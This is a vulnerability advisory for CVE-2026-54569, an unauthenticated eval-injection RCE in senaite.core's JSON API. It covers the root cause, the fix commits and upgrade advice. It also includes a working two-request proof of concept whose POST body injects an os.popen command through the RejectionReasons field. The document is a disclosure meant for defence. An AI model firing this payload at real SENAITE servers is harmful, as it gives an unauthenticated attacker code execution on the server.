critical · 9.8CVE-2026-54569Aug 26, 2026

CVE-2026-54569: senaite.core Unauthenticated Remote Code Execution via Eval Injection in JSON API

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any unauthenticated attacker who can reach a SENAITE installation can run arbitrary Python commands on the server by sending two plain HTTP requests, with no account or credentials needed.

Packagesenaite.core
Ecosystempip
Affected>= 2.0.0, <= 2.6.0
CVE-2026-54569: senaite.core Unauthenticated Remote Code Execution via Eval Injection in JSON API

The problem

The /@@API/update route in bika/lims/jsonapi/update.py does not enforce the senaite.core: Access JSON API permission before processing a request. The sibling create.py route has this gate; update, update_many, remove, doActionFor, and doActionFor_many do not.

Once a request reaches set_fields_from_request in jsonapi/__init__.py, any field of type RecordsField or RecordField has its raw request string value passed directly to Python's eval() at line 240, before any field-level write permission check runs. Because bika_setup is anonymously readable on a default Plone site, its UID can be fetched without credentials via the standard @@uuid view, and its RejectionReasons field is a RecordsField.

The two weaknesses chain into unauthenticated RCE.

Proof of concept

A working proof-of-concept for CVE-2026-54569 in senaite.core, with the exact payload below.

http
# Step 1: discover bika_setup UID (no credentials needed)
GET /senaite/bika_setup/@@uuid HTTP/1.1
Host: target:8080

# Response body: 8dbc161fa9f74aa4ad6e76eb1934518a

# Step 2: fire the eval payload into the unguarded update route
POST /senaite/@@API/update HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded

obj_uid=8dbc161fa9f74aa4ad6e76eb1934518a&RejectionReasons=__import__('os').popen('id').read()

The root cause is a missing authorization gate combined with an unsafe eval() sink. In jsonapi/__init__.py the code ran value = eval(value) for any RecordsField or RecordField input, with full Python builtins available, before the field mutator and its write-permission check had a chance to fire.

Even though the ZODB transaction savepoint rolls back database writes when the mutator subsequently fails, Python side effects such as subprocess calls, file I/O, and outbound network requests have already executed and are not reverted.

Fix 1 (PR #2903, commit a24d65e) adds an AccessJSONAPI permission check at the top of every state-changing route, mirroring the existing guard in create.py. Fix 2 (PR #2919, commit ef4b6d7) replaces eval(value) with json.loads(value) in jsonapi/__init__.py, record.py, and records.py; the stored data shape is a JSON-compatible dict or list of dicts, so json.loads is sufficient and removes the code-execution primitive entirely.

The fix

Upgrade to senaite.core 2.6.1 or later. The release applies both patches: PR #2903 (commit a24d65e) adds the missing AccessJSONAPI permission gate to all write routes, and PR #2919 (commit ef4b6d7) replaces every eval() call on field values with json.loads().

Apply both fixes together; either fix alone breaks the unauthenticated chain but leaves an authenticated eval sink or an open write route, respectively. As a temporary measure, restrict network access to port 8080 and the /@@API/ path tree until the upgrade can be applied.

Reported by Machine Spirits UG (Dr. Simon Weber, Dipl.-Inf. Volker Schönefeld, Chiara Fliegner).

References: [1][2][3][4][5][6]

Related research